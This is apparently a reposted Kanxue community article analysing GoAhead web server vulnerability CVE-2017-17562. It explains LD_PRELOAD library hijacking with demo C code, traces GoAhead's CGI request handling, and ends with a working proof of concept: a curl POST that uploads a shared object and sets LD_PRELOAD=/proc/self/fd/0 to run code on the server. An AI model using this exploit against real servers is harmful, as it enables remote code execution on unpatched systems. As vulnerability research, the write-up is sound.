微信号:ikanxue

介绍:致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号.

GOAhead CVE-2017-17562深入分析

2018-01-11 18:02 uestcdzy


1. 前提准备

        

GOAhead是一个嵌入式的webserver,前几周被爆出一个远程命令执行的漏洞,受漏洞影响版本:2.5-3.6.4。本文进行该漏洞的深入分析,漏洞调试环境:Ubuntu 16.04 64bit,GOAhead版本3.6.4,下载地址:https://github.com/embedthis/goahead/releases。



1.1 GOAhead软件下载和配置


GOAhead安装和cgi扩展启用参考:http://blog.csdn.net/yangguihao/article/details/49820765


GOAhead要启用CGI时,记的是修改要修改/etc/goahead中的route.txt。



 

dir是cgi的存放目录,其目录下存放一个cgi_test,里面内容随便写,然后gcc编译即可。




输入cgi的url:http://172.20.94.98:8888/cgi-bin/cgi_test



1.2 LD_PRELOAD执行环境变量分析


LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载执行,动态库加载的优先级最高,一般情况下,其加载顺序为:LD_PRELOAD>LD_LIBRARY>/etc/ld.so.cache >/lib>/usr/lib.


它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态库,甚至覆盖正常的函数库。


LA_PRELOAD替换前:


 

LA_PRELOAD替换后:

        


演示程序:


a.主程序(login.c)


#include <stdio.h>

#include <string.h>

#include "myverify.h"

void main(int argc, char const *argv[])

{

         char   pwd[] = "123456";

         if(argc   < 2)

         {

                   printf("usage:   %s <your password>\n", argv[0]);

                   return;

         }

         if(!verify(pwd,   argv[1]))

         {

                   printf("login   success\n");

         }

         else

         {

                   printf("login   fail\n");

         }

}


b.调用库(myverify.h和myverify.c)


#include <stdio.h>

int verify(const char *s1, const char *s2);

#include <stdio.h>

#include <string.h>

#include "myverify.h"

int verify(const char *s1, const char   *s2)

{

         return   strcmp(s1, s2);

}


c.编译运行效果如下:




相关命令解释如下:


gcc myverify.c -fPIC -shared -o libmyverify.so #编译动态链接库

gcc login.c -L. -lmyverify -o mylogin #编译主程序

export LD_LIBRARY_PATH=/home/daizy/workplace/CDemo/LinuxAPI/ #指定动态链接库所在目录位置

ldd myverifypasswd #显示、确认依赖关系


d.替换代码如下:(myhack.c)


#include <stdio.h>

#include <string.h>

int verify(const char *s1, const char   *s2)

{

         printf("hack   function invoked.\n");

         return   0;

}


e.编译设置环境变量LD_PRELOAD,运行替换代码效果如下:



export LD_PRELOAD="./myhack.so" #设置LD_PRELOAD环境变

量,库中的同名函数在程序运行时优先调用


ps:替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除



2.CVE分析


以GOAhead 3.6.4版本为例进行漏洞分析:

当用户post提交数据时,goahead最终会调用http.c中readEvent(Webs *wp)进行数据读取的处理,其中结构体Webs后续会常看到,此处先给出该结构体大致定义,在goahead.h中可以查找到:

typedef struct   Webs {

    WebsBuf         rxbuf;              /**< Raw receive buffer */

    WebsBuf         input;              /**< Receive buffer after   de-chunking */

    WebsBuf         output;             /**< Transmit buffer after   chunking */

    WebsBuf         chunkbuf;           /**< Pre-chunking data buffer   */

    WebsBuf         *txbuf;

    WebsHash        vars;               /**< CGI standard variables   */

    int             rxChunkState;       /**< Rx chunk encoding state */

    ssize           rxChunkSize;        /**< Rx chunk size */

    char            *rxEndp;            /**< Pointer to end of raw   data in input beyond endp */

    ssize           lastRead;           /**< Number of bytes last read   from the socket */

    ssize           txChunkPrefixLen;   /**< Length of prefix */

    ssize           txChunkLen;         /**< Length of the chunk */

    int             txChunkState;       /**< Transmit chunk state */

    char            *filename;          /**< Document path name */

    char            *path;             /**< Path name without query.   This is decoded. */ 

    int             sid;                /**< Socket id (handler)   */

    int             routeCount;         /**< Route count limiter */

    ssize           rxLen;              /**< Rx content length */

    ssize           rxRemaining;        /**< Remaining content to read   from client */

    ssize           txLen;              /**< Tx content length   header value */

    int             wid;                /**< Index into webs */

#if ME_GOAHEAD_CGI

    char            *cgiStdin;          /**< Filename for CGI program   input */

    int             cgifd;              /**< File handle for CGI   program input */

#endif

    struct WebsRoute *route;            /**< Request route */

    struct WebsUser *user;              /**< User auth record */

    WebsWriteProc   writeData;      /**< Handler write I/O event   callback. Used by fileHandler */

} Webs;


其中说明几个重要字段,后续分析会使用到:rxbuf(接受post提交的数据的buf)、vars(需要CGI处理的变量)、cgiStdin(cgi处理程序的标准输入)、cgifd(cgi处理程序的文件句柄)。


readEvent(Webs *wp)代码如下:




readEvent中通过函数websRead读取用户提交的数据,并填充到rxbuf中,其中websRead()根据是否是https,采用sslread和socketRead来读取用户提交的数据。数据读取完成后,由于nbytes>0,进入到websPump()函数继续处理。




websPump 代码结构如下,本质就是一个for循环,停止条件取决于canProceed,然后根据wp->state来调用相关函数进行处理;刚开始state条件是0,也就是WEBS_BEGIN,进入到 parseIncoming 函数处理阶段。



PUBLIC void   websPump(Webs *wp)

{

    bool    canProceed;

    for (canProceed = 1; canProceed; ) {

        switch (wp->state) {

        case WEBS_BEGIN:

            canProceed = parseIncoming(wp);

            break;

        case WEBS_CONTENT:

            canProceed = processContent(wp);

            break;

        case WEBS_READY:

            if (!websRunRequest(wp)) {

                /* Reroute if the handler   re-wrote the request */

                websRouteRequest(wp);

                wp->state = WEBS_READY;

                canProceed = 1;

                continue;

            }

            canProceed = (wp->state !=   WEBS_RUNNING);

            break;

        case WEBS_RUNNING:

            /* Nothing to do until websDone   is called */

            return;

        case WEBS_COMPLETE:

            canProceed = complete(wp, 1);

            break;

        }

    }

}


parseIncoming() 函数会 parseHeader() 进行 http header 头的处理【parseHeader函数中,根据 content-length 的值,设置 reLen 的值,由于 rxLen>0 然后 state=WEBS_CONTENT】




然后进入函数 websRouteRequest(),根据1.1节里面提到的route.txt进行request route 处理设置,比如route到cgi处理。




判断 route->handler->service 是否是cgiHandler,如果是 cgiHandler,则先判断method,是否是post,然后设置cgiStdin=websGetCgiCommName(),同时 cgifd = open(cgiStdin),然后返回 1=canProceed,继续在 websPump() 函数的for循环中。parseIncoming 函数整体代码如下:




其中函数 websGetCgiCommName 调用的是 websTempFile 函数,该函数注释说明如下,返回的文件路径是/tmp/cgi***

/**

    Create a temporary filename

    This does not guarantee the filename is   unique or that it is not already in use by another application.

    @param dir Directory to locate the temp   file. Defaults to the O/S default temporary directory (usually /tmp)

    @param prefix Filename prefix

    @return An allocated filename string

    @ingroup Webs

    @stability Stable

  */

PUBLIC char   *websTempFile(char *dir, char *prefix);


由于 state=WEBS_CONTENT,进入到 processContent() 函数处理:先进行filterChunkData函数的chunk过滤处理,当用户在http 头部,使用Transfer-Encoding: chunked 时,数据以一系列分块的形式进行发送,分块传输不是分析重点,并且后续poc也不用分块传入,就不深入分析了,简而言之,filterChunkData 会设 canProceed=1,wp->eof=1;后续由于cgifd>0,因此进入到函数 websProcessCgiData (),websProcessCgiData 处理完后,由于eof=1,因此 state= WEBS_READY




websProcessCgiData 函数:也就是把用户post提交的数据,保存到cgifd中,就是先前通过 cgiStdin=websGetCgiCommName() 获得,也就是文件“/tmp/cgi***”。




此时由于 state= WEBS_READY,canProceed=1,进入到websRunRequest(wp) 函数中:该函数中就是先提取url中的var变量,然后设置state=WEBS_RUNNING,然后调用(*route->handler->service)(wp),即 cgiHandler (wp),还函数在cgi.c中。




由于cgiHandler()在处理cgi扩展时,只对 REMOTE_HOSTHTTP_AUTHORIZATION 进行了过滤,其他var变量都会当成可信环境变量,传入到cgi扩展处理进程中。




Cgi.c中在处理完参数之后,然后将标准输入、输出重定向到:/tmp/cgi***,也就是post数据保存的地方,代码详情如下:




输入、输出重定向完成后,cgi.c中就调用launchCgi,开始调用cgi的扩展处理进程,并传入上述envp生成的环境变量。【注意:launchCgi分三个版本:windows、unix和VXWORKS,函数别定位错误】

找到launchCgi处理函数,代码如下:




执行到函数vfork()后,会将子进程(也就是cgi的处理进程)的标准出入、输出重定向到前文分析到的/tmp/cgi***文件,也就是post数据存放的文件;然后调用execve()调用cgi处理进程,并传递envp中的系统环境变量,结合上文分析的LA_PRELOAD变量,可以实现任意代码执行。


但是现在还存在一个问题,就是通过环境变量:LA_PRELOAD,可以指定加载本地的共享库,进行代码执行,但是如何变成远程危害命令执行呢?也就是如何上传恶意代码,并且通过环境变量:LA_PRELOAD,进行指定呢?


在前面分析中我们得知,由于goahead webserver在处理cgi扩展时,当用户post提交了数据,goahead webserver 会将其存到 /tmp/cgi*** 中,这不就是可以恶意代码了嘛?


但是如何知道上传的全路径名称呢?爆破还是其他,都不是好的方法。由于cgi处理进程中,将标准输入、输出重定向到了/tmp/cgi***,所以现在问题,就是我们能不能找到一个路径连接,是指向标准输入或输入的呢?Linux上刚好存在这种符号链接:/proc/self/fd/0和/dev/stdin,于是我们可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令。

整个goahead-cgi的执行流程图如下:




3. POC


daizy@daizy:~/workplace/CDemo$ curl -X   POST --data-binary @payload.so   http://172.20.94.98:8888/cgi-bin/cgi_test?LD_PRELOAD=/proc/self/fd/0 -i |   head

  %   Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100  8128    0     0  100  8128      0   7885  0:00:01  0:00:01 --:--:--  7891

curl: (18) transfer closed with   outstanding read data remaining

HTTP/1.1 200 OK

Date: Thu Dec 28 12:33:37 2017

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hacked by daizy

其中payload.so是由以下代码编译获得:

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

         write(1,   "hacked by daizy\n",16);

}


编译命令:gcc -shared -fPIC payload.c -o payload.so


其中标签属性:constructor,表示该函数由.init初始化时执行,也就是在cgi的扩展main函数之前会被执行。



4. 参考文章


1. https://www.elttam.com.au/blog/goahead/

2. https://www.cnblogs.com/net66/p/5609026.html





本文由看雪论坛 uestcdzy 原创

转载请注明来自看雪社区



热门阅读


点击阅读原文/read,

更多干货等着你~



 
看雪学院 更多文章 c++实现的一种代码膨胀变形壳 简单看一下 微软新出的内核页表隔离补丁 通俗理解这次的CPU漏洞,附带修改过带注释源码一份 #18周年# K48、6245与北国看雪(二) 解读计算机处理器之殇 - Meltdown 与 Spectre
猜您喜欢 Apache Spark - On The Way Redux框架reducer对状态的处理 一分钟了解全宇宙最神秘的群体:程序员 ElastAlert 基于Elasticsearch的监控告警 Folly源码分析系列(一) — ThreadLocalPtr